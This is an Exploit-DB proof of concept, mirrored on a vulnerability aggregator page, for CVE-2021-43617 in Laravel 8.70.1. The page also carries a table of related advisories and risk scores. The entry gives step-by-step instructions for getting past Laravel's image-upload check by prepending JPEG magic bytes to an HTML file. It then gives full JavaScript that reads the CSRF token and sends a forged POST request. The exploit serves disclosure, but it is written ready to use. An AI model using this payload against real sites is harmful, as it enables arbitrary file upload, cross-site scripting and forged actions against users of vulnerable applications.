PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF)

🗓️ 15 Nov 2021 00:00:00Reported by Hosein VitaType

exploitdb🔗 www.exploit-db.com👁 339 Views

PHP Laravel 8.70.1 XSS to CSRF exploi

Reporter	Title	Published	Views	Family All 17
ATTACKERKB	CVE-2021-43617	14 Nov 202116:15	–	attackerkb
BDU FSTEC	The vulnerability of the PHP framework Laravel, related to the unlimited loading of dangerous types of files, allows attackers to execute arbitrary code.	13 Dec 202100:00	–	bdu_fstec
GithubExploit	Exploit for Unrestricted Upload of File with Dangerous Type in Laravel Framework	8 Jun 202308:05	–	githubexploit
Circl	CVE-2021-43617	20 Nov 202106:56	–	circl
CNNVD	Laravel Framework 代码问题漏洞	14 Nov 202100:00	–	cnnvd
CNVD	Laravel Framework has an unspecified vulnerability	16 Nov 202100:00	–	cnvd
CVE	CVE-2021-43617	14 Nov 202115:32	–	cve
Cvelist	CVE-2021-43617	14 Nov 202115:32	–	cvelist
Debian CVE	CVE-2021-43617	14 Nov 202115:32	–	debiancve
Friends Of PHP	Image upload bypass	18 Nov 202102:10	–	friendsofphp

# Exploit Title: PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF)
# Date: 14/11/2021
# Exploit Author: Hosein Vita
# Vendor Homepage: https://laravel.com/
# Software Link: https://laravel.com/docs/4.2
# Version: Laravel Framework 8.70.1
# Tested on: Windows/Linux

# Description: We can bypass laravel image file upload functionality to upload arbitary files on the web server
# which let us run arbitary javascript and bypass the csrf token , For more information read this one https://hosein-vita.medium.com/laravel-8-x-image-upload-bypass-zero-day-852bd806019b

# Steps to reproduce:
1- Use HxD tool and add FF D8 FF E0 at the very begining of your file
2- Use code below to bypass csrf token

ÿØÿà<html>
<head>
<title>Laravel Csrf Bypass</title>
</head>
<body>
<script>
function submitFormWithTokenJS(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", POST_URL, true);

    // Send the proper header information along with the request
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

    // This is for debugging and can be removed
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            console.log(xhr.responseText);
        }
    }
	//
    xhr.send("_token=" + token + "&desiredParameter=desiredValue");
}

function getTokenJS() {
    var xhr = new XMLHttpRequest();
    // This tels it to return it as a HTML document
    xhr.responseType = "document";
    // true on the end of here makes the call asynchronous
	//Edit the path as you want
    xhr.open("GET", "/image-upload", true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            // Get the document from the response
            page = xhr.response
            // Get the input element
            input = page.getElementsByTagName("input")[0];
            // Show the token
            alert("The token is: " + input.value);
            // Use the token to submit the form
            submitFormWithTokenJS(input.value);
        }
    };
    // Make the request
    xhr.send(null);
}
getTokenJS();

var POST_URL="/"
getTokenJS();

</script>
</html>

3- Save it as Html file and upload it.

16 Nov 2021 00:00Current

8.3High risk

Vulners AI Score8.3

CVSS 27.5

CVSS 3.19.8

EPSS0.1981